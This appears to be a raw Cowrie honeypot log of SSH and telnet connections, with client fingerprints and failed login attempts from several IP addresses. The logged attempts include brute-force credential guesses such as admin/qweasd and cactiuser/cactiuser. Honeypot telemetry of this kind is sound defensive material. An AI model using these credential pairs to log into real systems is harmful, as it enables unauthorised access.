{"eventid":"cowrie.login.failed","username":"user","password":"Asdf1234","message":"login attempt [user/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:19.423453Z","src_ip":"165.154.205.91","session":"cf2a19e93802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:20.653256Z","src_ip":"165.154.205.91","session":"cf2a19e93802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.066197633743286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:55:43.132347Z","src_ip":"135.148.33.91","session":"1863b562b754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":58368,"dst_ip":"159.203.135.109","dst_port":22,"session":"f58601574ac4","protocol":"ssh","message":"New connection: 165.154.205.91:58368 (159.203.135.109:22) [session: f58601574ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:56:17.579736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:56:17.589803Z","src_ip":"165.154.205.91","session":"f58601574ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:56:17.821164Z","src_ip":"165.154.205.91","session":"f58601574ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd","message":"login attempt [admin/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:56:18.780048Z","src_ip":"165.154.205.91","session":"f58601574ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:56:20.014719Z","src_ip":"165.154.205.91","session":"f58601574ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":46804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a05aa0b2d59","protocol":"ssh","message":"New connection: 165.154.205.91:46804 (159.203.135.109:22) [session: 5a05aa0b2d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:57:14.263637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:57:14.269273Z","src_ip":"165.154.205.91","session":"5a05aa0b2d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:57:14.500523Z","src_ip":"165.154.205.91","session":"5a05aa0b2d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottest","message":"login attempt [root/roottest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:57:15.451678Z","src_ip":"165.154.205.91","session":"5a05aa0b2d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:57:16.685949Z","src_ip":"165.154.205.91","session":"5a05aa0b2d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":35246,"dst_ip":"159.203.135.109","dst_port":22,"session":"e69136f76547","protocol":"ssh","message":"New connection: 165.154.205.91:35246 (159.203.135.109:22) [session: e69136f76547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:11.400957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:11.405809Z","src_ip":"165.154.205.91","session":"e69136f76547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:11.632401Z","src_ip":"165.154.205.91","session":"e69136f76547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coduoserver","password":"123456","message":"login attempt [coduoserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:12.567241Z","src_ip":"165.154.205.91","session":"e69136f76547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:13.797909Z","src_ip":"165.154.205.91","session":"e69136f76547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":39280,"dst_ip":"10.17.0.5","dst_port":22,"session":"97830da46844","protocol":"ssh","message":"New connection: 187.212.47.18:39280 (10.17.0.5:22) [session: 97830da46844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:33.815695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:33.820961Z","src_ip":"187.212.47.18","session":"97830da46844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:34.055455Z","src_ip":"187.212.47.18","session":"97830da46844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1111","message":"login attempt [administrator/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:34.397031Z","src_ip":"187.212.47.18","session":"97830da46844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:58:35.478021Z","src_ip":"187.212.47.18","session":"97830da46844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":51910,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e0a655e751d","protocol":"ssh","message":"New connection: 165.154.205.91:51910 (159.203.135.109:22) [session: 8e0a655e751d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:08.781933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:08.786865Z","src_ip":"165.154.205.91","session":"8e0a655e751d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:09.020646Z","src_ip":"165.154.205.91","session":"8e0a655e751d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cactiuser","message":"login attempt [cactiuser/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:09.987495Z","src_ip":"165.154.205.91","session":"8e0a655e751d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:11.223913Z","src_ip":"165.154.205.91","session":"8e0a655e751d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":31856,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea51b2dd5dd","protocol":"ssh","message":"New connection: 84.239.42.8:31856 (159.203.135.109:22) [session: aea51b2dd5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:53.788407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:53.793667Z","src_ip":"84.239.42.8","session":"aea51b2dd5dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:53.921266Z","src_ip":"84.239.42.8","session":"aea51b2dd5dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:54.418762Z","src_ip":"84.239.42.8","session":"aea51b2dd5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:59:55.551010Z","src_ip":"84.239.42.8","session":"aea51b2dd5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":40350,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cab2963535c","protocol":"ssh","message":"New connection: 165.154.205.91:40350 (159.203.135.109:22) [session: 2cab2963535c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:08.882069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:08.890294Z","src_ip":"165.154.205.91","session":"2cab2963535c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:09.120898Z","src_ip":"165.154.205.91","session":"2cab2963535c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix1","message":"login attempt [bitrix/bitrix1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:10.068697Z","src_ip":"165.154.205.91","session":"2cab2963535c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:11.299634Z","src_ip":"165.154.205.91","session":"2cab2963535c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.63.153","src_port":49528,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f12b108fb3","protocol":"ssh","message":"New connection: 213.183.63.153:49528 (10.17.0.5:22) [session: 15f12b108fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:22.351947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:22.357399Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:00:22.479854Z","src_ip":"213.183.63.153","session":"15f12b108fb3","protocol":"ssh"}
